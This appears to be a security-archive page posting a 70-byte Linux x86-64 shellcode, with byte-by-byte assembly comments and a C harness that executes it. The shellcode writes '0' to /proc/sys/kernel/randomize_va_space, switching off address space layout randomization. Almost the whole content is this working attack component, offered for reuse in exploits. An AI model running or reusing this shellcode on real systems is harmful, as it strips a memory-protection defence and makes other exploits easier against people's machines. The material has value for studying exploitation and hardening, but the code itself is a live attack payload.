exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Disable ASLR Security Shellcode

Disable ASLR Security Shellcode
Posted Jun 19, 2010
Authored by Jonathan Salwan

70 bytes small disable ASLR security Linux / x86 shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | e73667fa779abc7d845fc6fa3ae4fb49787260154518630cc9d3b1f10d2e1d46

Disable ASLR Security Shellcode

Change Mirror Download
/*
Title: Linux/x86-64 - Disable ASLR Security - 70 bytes
Date: 2010-06-17
Tested: Archlinux x86_64 k2.6.33

Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/


Description:
============
Address space layout randomization (ASLR) is a computer security technique
which involves randomly arranging the positions of key data areas, usually
including the base of the executable and position of libraries, heap, and
stack, in a process's address space.

This shellcode disables the ASLR.

*/

#include <stdio.h>


char *SC =
/* open("/proc/sys/kernel/randomize_va_space", O_WRONLY|O_CREAT|O_APPEND, 0644) */

"\x48\x31\xd2" // xor %rdx,%rdx
"\x48\xbb\xff\xff\xff\xff\xff\x61\x63\x65" // mov $0x656361ffffffffff,%rbx
"\x48\xc1\xeb\x28" // shr $0x28,%rbx
"\x53" // push %rbx
"\x48\xbb\x7a\x65\x5f\x76\x61\x5f\x73\x70" // mov $0x70735f61765f657a,%rbx
"\x53" // push %rbx
"\x48\xbb\x2f\x72\x61\x6e\x64\x6f\x6d\x69" // mov $0x696d6f646e61722f,%rbx
"\x53" // push %rbx
"\x48\xbb\x73\x2f\x6b\x65\x72\x6e\x65\x6c" // mov $0x6c656e72656b2f73,%rbx
"\x53" // push %rbx
"\x48\xbb\x2f\x70\x72\x6f\x63\x2f\x73\x79" // mov $0x79732f636f72702f,%rbx
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp,%rdi
"\x48\xc7\xc6\x41\x04\x00\x00" // mov $0x441,%rsi
"\x48\xc7\xc2\xa4\x01\x00\x00" // mov $0x1a4,%rdx
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x02" // mov $0x2,%al
"\x0f\x05" // syscall


/* write(3, "0\n", 2) */

"\x48\xbf\xff\xff\xff\xff\xff\xff\xff\x03" // mov $0x3ffffffffffffff,%rdi
"\x48\xc1\xef\x38" // shr $0x38,%rdi
"\x48\xbb\xff\xff\xff\xff\xff\xff\x30\x0a" // mov $0xa30ffffffffffff,%rbx
"\x48\xc1\xeb\x30" // shr $0x30,%rbx
"\x53" // push %rbx
"\x48\x89\xe6" // mov %rsp,%rsi
"\x48\xba\xff\xff\xff\xff\xff\xff\xff\x02" // mov $0x2ffffffffffffff,%rdx
"\x48\xc1\xea\x38" // shr $0x38,%rdx
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x01" // mov $0x1,%al
"\x0f\x05" // syscall


/* _exit(0) */

"\x48\x31\xff" // xor %rdi,%rdi
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x3c" // mov $0x3c,%al
"\x0f\x05"; // syscall


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close